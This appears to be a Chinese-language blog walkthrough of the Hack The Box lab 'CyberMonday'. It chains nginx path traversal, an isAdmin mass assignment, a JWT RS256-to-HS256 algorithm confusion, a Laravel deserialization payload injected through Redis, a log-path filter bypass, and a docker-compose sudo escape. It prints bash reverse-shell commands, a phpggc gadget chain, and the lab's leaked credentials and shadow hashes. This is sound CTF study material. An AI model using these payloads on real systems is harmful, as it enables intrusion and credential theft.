MANESEC on 2023-10-26
nmap只有 80 和 SSH 端口,其他的沒什麽。
python3 dirsearch.py -u http://cybermonday.htb/ -w ~/SecLists/Discovery/Web-Content/quickhits.txt -e php,html,txt [21:35:21] Starting: [21:35:35] 200 - 603B - /.htaccess [21:36:51] 302 - 358B - /api/user -> http://cybermonday.htb/login [21:36:56] 404 - 555B - /assets/js/fckeditor [21:36:56] 404 - 555B - /assets/fckeditor [21:36:56] 404 - 555B - /assets/npm-debug.log [21:38:43] 200 - 6KB - /login
# /.htaccessOptions -MultiViews -Indexes RewriteEngine On # Handle Authorization Header RewriteCond %{HTTP:Authorization} . RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # Redirect Trailing Slashes If Not A Folder... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} (.+)/$ RewriteRule ^ %1 [L,R=301] # Send Requests To Front Controller... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [L]
,但是發現了一些細節,在我嘗試强行讓他404的時候,
http://cybermonday.htb/assets/xxx
和
http://cybermonday.htb/dashboard/xxx
的結果不一樣,所以猜測
assets
可能做了一些反向代理的事情。如果
assets
有反向代理的話,那麽可以嘗試做
Path traversal
。
儅訪問
http://cybermonday.htb/assets../.git/
出現403,證明是有東西的,
http://cybermonday.htb/assets../.git/HEAD
返回文件,可以用git dumper之類的工具把他dump下來,然後得到源碼。
$ python3 /Tools/Tools/Gitdumper/git_dumper.py 'http://cybermonday.htb/assets../.git/' source
[-] Testing http://cybermonday.htb/assets../.git/HEAD [200]
[-] Testing http://cybermonday.htb/assets../.git/ [403]
[-] Fetching common files
...
目錄裏面發現有
.env.example
,猜測
.env
可能存在服務器上,嘗試
curl http://cybermonday.htb/assets../.env
APP_NAME=CyberMonday APP_ENV=local APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA= APP_DEBUG=true APP_URL=http://cybermonday.htb LOG_CHANNEL=stack LOG_DEPRECATIONS_CHANNEL=null LOG_LEVEL=debug DB_CONNECTION=mysql DB_HOST=db DB_PORT=3306 DB_DATABASE=cybermonday DB_USERNAME=root DB_PASSWORD=root BROADCAST_DRIVER=log CACHE_DRIVER=file FILESYSTEM_DISK=local QUEUE_CONNECTION=sync SESSION_DRIVER=redis SESSION_LIFETIME=120 MEMCACHED_HOST=127.0.0.1 REDIS_HOST=redis REDIS_PASSWORD= REDIS_PORT=6379 REDIS_PREFIX=laravel_session: CACHE_PREFIX= MAIL_MAILER=smtp MAIL_HOST=mailhog MAIL_PORT=1025 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null MAIL_FROM_ADDRESS="hello@example.com" MAIL_FROM_NAME="${APP_NAME}" AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_DEFAULT_REGION=us-east-1 AWS_BUCKET= AWS_USE_PATH_STYLE_ENDPOINT=false PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" CHANGELOG_PATH="/mnt/changelog.txt" REDIS_BLACKLIST=flushall,flushdb
得到
APP_KEY
和一個
redis
,這裏猜測
redis
是做cookie管理,然後還有一個後面值得探索的
CHANGELOG_PATH
目錄。
源碼看起來沒有什麽特別的地方。
隨便注冊一個用戶密碼,然後修改密碼,用戶名填
admin
郵箱填
admin@cybermonday.htb
,點擊提交之後會報錯,觀察這個報錯,是一個
Laravel Error Tracking
平臺,
仔細觀察是説SQL出現錯誤,
update `users` set `username` = admin, `email` = admin@cybermonday.htb, `password` = $ 2y $ 10 $ 2GD8HBeFKTkeFL7KJMVXL1zxWTS1KAT3fACcv3PgTerKwmg8BUrvn, `users`.`updated_at` = 2023 -00 -00 00: 00: 00 where `id` = 2
下面的 CONTEXT 寫著:
{ "id": 2, "username": "xxxx", "email": "xxxx@xxxx.com", "isAdmin": true, "created_at": "2023-00-00T00:00:00.000000Z", "updated_at": "2023-00-00T00:00:00.000000Z" }
看起來是從數據庫裏面讀取出來的,也就是說數據庫裏面有一個
isAdmin
,所以嘗試用burp截取提交表單,在post後面加上
&isAdmin=1
。
POST /home/update HTTP/1.1 Host: cybermonday.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 127 Origin: http://cybermonday.htb Connection: close Referer: http://cybermonday.htb/home/profile Cookie: xxxxxxxxxxxxxxxxxxx Upgrade-Insecure-Requests: 1 _token=Tfvb4BLkexNuSAz6Syi4UwEQV9tPcu8jk5y85wiL&username=xxx&email=xxx%xxx.com&password=xxx&password_confirmation=xxx&isAdmin=1
然後就獲得了管理權限,上面出現了
Dashboard
。
另外,登陸完了之後看了一下cookie,有一個
cybermonday_session
的東西,好像是
laravel
的加密cookie。
來到
http://cybermonday.htb/dashboard/changelog
,也就是點擊
Dashboard
->
Changelog
裏面,發現有webhook,
點擊之後,來到了一個域名
http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77
。
隨便在瀏覽器亂打
http://webhooks-api-beta.cybermonday.htb/aaa.php
發現是php的一個服務器。
對這個域名進行掃描,發現兩個文件,
[05:00:00] 200 - 602B - /.htaccess [05:00:00] 200 - 447B - /jwks.json
查看
jwks.json
:
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}
然後查看根,列出了一堆API。
// curl http://webhooks-api-beta.cybermonday.htb
{
"status": "success", [0/1166]
"message": {
"routes": {
"/auth/register": {
"method": "POST",
"params": [
"username",
"password"
]
},
"/auth/login": {
"method": "POST",
"params": [
"username",
"password"
]
},
"/webhooks": {
"method": "GET"
},
"/webhooks/create": {
"method": "POST",
"params": [
"name",
"description",
"action"
]
},
"/webhooks/delete:uuid": {
"method": "DELETE"
},
"/webhooks/:uuid": {
"method": "POST",
"actions": {
"sendRequest": {
"params": [
"url",
"method"
]
},
"createLogFile": {
"params": [
"log_name",
"log_content"
]
}
}
}
}
}
}
然後嘗試玩一下這個webhook,
/webhooks/create
對這個比較感興趣。
嘗試
POST /webhooks/create
,返回
{"status":"error","message":"Unauthorized"}
。
隨便注冊一個賬號:
POST /auth/register
,返回
{"status":"success","message":"success"}
。
登錄:
POST /auth/login
,返回
{"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJtIiwicm9sZSI6InVzZXIifQ.ALz7wcxLB0Kp1TL5pHvXNUYDVfy40BebZoi_Op1MzAbyW7vpPNH0b6PhsSsTJjm-1E5KU4sR0n6xJoffR9aQDqsgjj9qyaxP_hQ6YuXGAjkilVSgz02Ioi-IE-03y295D-C83UO3utMxJPj3JYb-UDIbA6iCaIq59aojeP_gjL33wSof5tJFx5kzzNndgwPf88QvqgUwYW85n7VmC3XJZ0nd3bVaPcUlmaTakkuEYn8YcraL2zsSOtU3Ek9jwxAvy6_XE2pIb6nEgyKI8SmI2zc0qYabXNmxRNoXUadlwi5VOr1goCqGh4ZvbuB0TdcYfG48Zm7hBlwS6D2souTG7g"}}
,在發現token有三個點,是JWT格式。
現在
POST /webhooks/create
,返回
{"status":"error","message":"Unauthorized"}
看起來沒有權限創建一個
webhooks
。
思考了很久,有些不是很合理的地方,比如
jwks.json
這個敏感的文件就不應該會出現,如果逆向思考的話作者可能想希望我們利用這幾個文件而做一些事情,思考了一下,會不會是修改 jwt 的算法了。
通過這個網站
https://jwt.io/發現上面的JWT如下
# Encoded
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJtIiwicm9sZSI6InVzZXIifQ.ALz7wcxLB0Kp1TL5pHvXNUYDVfy40BebZoi_Op1MzAbyW7vpPNH0b6PhsSsTJjm-1E5KU4sR0n6xJoffR9aQDqsgjj9qyaxP_hQ6YuXGAjkilVSgz02Ioi-IE-03y295D-C83UO3utMxJPj3JYb-UDIbA6iCaIq59aojeP_gjL33wSof5tJFx5kzzNndgwPf88QvqgUwYW85n7VmC3XJZ0nd3bVaPcUlmaTakkuEYn8YcraL2zsSOtU3Ek9jwxAvy6_XE2pIb6nEgyKI8SmI2zc0qYabXNmxRNoXUadlwi5VOr1goCqGh4ZvbuB0TdcYfG48Zm7hBlwS6D2souTG7g
# Header
{
"typ": "JWT",
"alg": "RS256"
}
# Payload
{
"id": 2,
"username": "m",
"role": "user"
}
最初的想法是更改 role 變成 admin,因爲RS256算法需要 private key 和 public key,然而並不知道private key。但是可以嘗試修改成HS256,如果服務器接受HS256算法的話,那麽只需要 public key 就可以簽名了。
然後谷歌搜索了下,搜索關於JWT的n和e是什麽,看到了這篇文章:
https://datatracker.ietf.org/doc/html/rfc7518#section-6.3.1.2https://stackoverflow.com/questions/70022898/what-does-e-aqab-mean-in-jwks現在知道n是Public key,所以現在想辦法得到public key,就要寫程序,呃,因爲不怎麽會寫,隨手問了一下 ChatGPT,結果秒出。。。。
from Crypto.PublicKey import RSA
import json
from base64 import urlsafe_b64decode
def get_public_key():
with open('jwks.json') as file:
data = json.load(file)
# Assuming there is only one key in the 'keys' array
key = data['keys'][0]
modulus = int.from_bytes(urlsafe_b64decode(key['n'] + '=='), 'big')
exponent = int.from_bytes(urlsafe_b64decode(key['e'] + '=='), 'big')
# Construct the RSA public key
public_key = RSA.construct((modulus, exponent))
return public_key
# Usage example
public_key = get_public_key()
print(public_key.export_key().decode())
得到Public Key
Burp安裝
JWT Editor
和
JSON Web Tokens
這兩個插件,然後
首先要把上面的public key encode 一下,得到
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
然後修改
K
裏面的内容,貼上去。
{
"kty": "oct",
"kid": "d7aed87f-932a-417e-957b-30fc13722f6a",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
不需要在網頁簽名,可以直接使用burp簽名,然後直接修改包就可以了。
這裏的WebHook可以主動發起請求,和枚舉了一段時間,沒有發現什麽有意思的内容。
然後想到了一個思路,Redis作爲Laravel的cookie緩存容器,Laravel會主動請求Redis(因爲請求是固定寫好的是,所以沒辦法exploit),但是儅Redis返回内容是惡意的情況下,儅Laravel會主動deserialization裏面的内容就可以執行reverse shell,也就是説如果我可以控制 Redis 返回的内容,我就有機會在Laravel deserialization的時候執行reverse shell。
很巧的是Redis有提供REST的API,通過RestAPI 嘗試修改當前的cookie,把他換成惡意的cookie,
SET可以工作,剩下的就是準備payload了。
製作 deserialization 的php payload可以使用phpggc,看了一下, RCE10 是最好的(因爲 __toString ,比較適合現在的環境)。
所以希望可以在php上執行 system("/bin/bash xxxx") 的函數,所以下面就製作payload
./phpggc Laravel/RCE10 SYSTEM '/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxx/1111 0>&1"'
O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"SYSTEM";s:8:"provider";s:61:"/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxx/1111 0>&1"";}i:1;s:4:"user";}}
用這個工具可以方便處理特殊符號,
https://onlinestringtools.com/escape-string因爲要注入當前的cookie,在谷歌的過程中發現了神奇的内容原來laravel是可以通過APP_KEY 解密。
參考:
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/laravel然後就得到了
25c6a7ecd50b519b7758877cdc95726f29500d4c
和
6AGr0idR2a6TzouAfXs6hq7HOopPx0lkCS44SHRf
比較像key的值。
在上面的 .env 文件中,有這樣定義的。
REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=
所以完整的請求應該像這樣:
SET "laravel_session:<KEY>" "<REVERSHELL_PAYLOAD>"
因爲上面有兩個Key,所以發2遍看看效果。
然後測試了很久,都沒有反應,本地debug了下,在 payload 後加入
\r\n
就好了。
然後刷新一下網頁,laravel去數據庫獲取cookie的時候就會執行webshell。
看到
/mnt
下面挂在了john的 home
以下是LinPEAS發現的信息:
╔══════════╣ Hostname, hosts and DNS
070370e2cdc4
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.4 070370e2cdc4
nameserver 127.0.0.11
options ndots:0
╔══════════╣ Interesting Files Mounted
/dev/sda1 on /mnt type ext4 (ro,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
nmap無法使用,可以使用reverse socks 然後套nmap,這裏我就快速使用Bash自製脚本快速掃描一下,所以猜測如下。
[+] 172.18.0.1: 22 open - hosts [+] 172.18.0.2: 80 open - nginx server [+] 172.18.0.3: 80 open - webhook [+] 172.18.0.4: 9000 open - Unknow [+] 172.18.0.5: 5000 open - Docker Registry [+] 172.18.0.6: 6379 open - redis [+] 172.18.0.7: 3306 open - mysql
看到了有 Docker Registry,隨手一個curl看看,
# proxychains -f ./proxychains.conf curl http://172.18.0.5:5000/v2
<a href="/v2/">Moved Permanently</a>.
# proxychains -f ./proxychains.conf curl http://172.18.0.5:5000/v2/_catalog
{"repositories":["cybermonday_api"]}
發現這個 docker registry 居然有容器,所以使用Docker Registry Grabber下載所有tar壓縮包。
$ proxychains -f ./proxychains.conf python3 /Tools/Tools/DockerRegistryGrabber/drg.py http://172.18.0.5 --dump_all
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]
[+] cybermonday_api
[+] BlobSum found 27
[+] Dumping cybermonday_api
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce
[+] Downloading : ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1
...
$ ls cybermonday_api
1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62.tar.gz 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb.tar.gz
1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8.tar.gz a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c.tar.gz affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70.tar.gz
57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f.tar.gz beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.tar.gz
57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95.tar.gz ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1.tar.gz
5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7.tar.gz ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.tar.gz
5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33.tar.gz dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae.tar.gz
然後找到webhook源碼。
在搜索的過程中發現有很多
.wh..wh..opq
的文件,查了下原來還有奇怪的知識。
https://klose911.github.io/html/docker/infrastructure.html
Branch: 就是各个要被 union 起来的目录
Branch 根据被 union 的顺序形成一个 stack,一般来说最上面的是可写的,下面的都是只读的
Branch 的 stack 可以在被 mount 后进行修改,比如:修改顺序,加入新的 branch,或是删除其中的 branch,或是直接修改 branch 的权限
如果 UnionFS 中的某个目录被删除了,那么就应该不可见了,就算是在底层的 branch 中还有这个目录,那也应该不可见了
Whiteout: 某个上层目录覆盖了下层的相同名字的目录。用于隐藏低层分支的文件,也用于阻止 readdir 进入低层分支
在隐藏低层档的情况下,whiteout 的名字是
.wh.<filename>Opaque: 不允许任何下层的某个目录显示出来。
在阻止 readdir 的情况下,名字是
.wh..wh..opq或者
.wh.__dir_opaque
然後看到有讀取日志的代碼,有些API剛才沒用到,看了一下這裏好像有漏洞
然後隨便寫了一個php代碼本地測試繞過情況。
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
?>
<html>
<body>
<form action="index.php" method="post">
Input: <input type="text" name="name"><br>
<input type="submit">
</form>
</body>
</html>
<?php
if (isset($_POST["name"])) {
$name=$_POST["name"];
$logPath = "/tmp/";
$logName = $name;
if(preg_match("/\.\.\//", $logName))
{
echo ("Hit one, have ../ : ".$logPath.$logName);
}
$logName = str_replace(' ', '', $logName);
if(stripos($logName, "log") === false)
{
echo ("Hit Two, no end with log: ".$logPath.$logName);
}
if(!file_exists($logPath.$logName))
{
echo ("Hit Three, no exist ".$logPath.$logName);
}
$logContent = ($logPath.$logName);
echo "\n";
echo $logContent;
echo "\n";
echo "\n";
echo file_get_contents($logContent);
}
?>
這個地方我思考了很久(2天,其實很簡單的問題,老了),原來繞過第一個可以使用
. ./. ./. ./. ./. ./. ./
,第二個可以使用
. ./. ./. ./. ./. ./var/log/. ./. ./
然後就可以
. ./. ./. ./. ./. ./var/log/. ./. ./proc/self/environ
讀取環境變量。
新建一個webhook,讀取id,然後等等,爲什麽
GET /
沒有列出來。
要使用這個漏洞,從這裏追進去,
然後發現使用API的authorized,硬編碼的
然後使用這個KEY,
利用上面的漏洞,就可以把環境變量給解壓出來。
然後john的密碼就在
proc/self/environ
裏面
HOSTNAME=e1862f4e1242\ PHP_INI_DIR=\/usr\/local\/etc\/php\ HOME=\/root\ PHP_LDFLAGS=-Wl,-O1 -pie\ PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\ DBPASS=<這裏是密碼> \ PHP_VERSION=8.2.7\ GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\ PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\ PHP_ASC_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz.asc\ PHP_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz\ DBHOST=db\ DBUSER=dbuser\ PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\ DBNAME=webhooks_api\ PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\ PWD=\/var\/www\/html\ PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\
這裏是賬號密碼
USER: john PASS: ngFfX2L71Nu
登錄ssh之後,隨便sudo -l 看看,
john@cybermonday:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User john may run the following commands on localhost:
(root) /opt/secure_compose.py *.yml
然後看這個文件裏面有什麽?
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal
def get_user():
return os.environ.get("SUDO_USER")
def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]
for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False
def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True
def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True
def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True
def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True
def main(filename):
if not os.path.exists(filename):
print(f"File not found")
return False
with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False
if "services" not in data:
print("Invalid docker-compose.yml")
return False
services = data["services"]
if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False
for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True
def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir
def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))
def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)
def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)
filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)
signal.signal(signal.SIGINT, signal_handler)
print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")
cleanup(temp_dir)
然後想到了
check_no_symlinks
這個函數,然後
ln -s ~/Tools /Tools
,用 python3 試一下之後,發現有奇怪的東西
寫了個
exp.xml
version: "3"
services:
server:
image: cybermonday_api
command: sh -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.19/1111 0>&1"'
volumes:
- /home/john/root/root:/home/john:ro
然後:
這樣就拿到了
root.txt
目前,暫時還沒想到如何拿到root的shell。
如果這裏少了HS256,那麽就不會工作。
root@d212ff9ac6c1:/home/john# cat shadow
root:$y$j9T$kndrQlLwiIgjD3Jegw0bP0$8gT7HQZoAIe6owK9kIDzj4qriqKfygMooOkk5go9i40:19506:0:99999:7:::
daemon:*:19506:0:99999:7:::
bin:*:19506:0:99999:7:::
sys:*:19506:0:99999:7:::
sync:*:19506:0:99999:7:::
games:*:19506:0:99999:7:::
man:*:19506:0:99999:7:::
lp:*:19506:0:99999:7:::
mail:*:19506:0:99999:7:::
news:*:19506:0:99999:7:::
uucp:*:19506:0:99999:7:::
proxy:*:19506:0:99999:7:::
www-data:*:19506:0:99999:7:::
backup:*:19506:0:99999:7:::
list:*:19506:0:99999:7:::
irc:*:19506:0:99999:7:::
gnats:*:19506:0:99999:7:::
nobody:*:19506:0:99999:7:::
_apt:*:19506:0:99999:7:::
systemd-network:*:19506:0:99999:7:::
systemd-resolve:*:19506:0:99999:7:::
messagebus:*:19506:0:99999:7:::
systemd-timesync:*:19506:0:99999:7:::
sshd:*:19506:0:99999:7:::
john:$y$j9T$GjbNtuqeiU3F8AVjXki/F1$E.mwZgDhVYWBR8UfeQDDO91/Z8cGKOW.ec0iK9Xj017:19569:0:99999:7:::
systemd-coredump:!*:19506::::::
_laurel:!:19572::::::
Copyright © 2016-2025 manesec. All rights (include theme) reserved.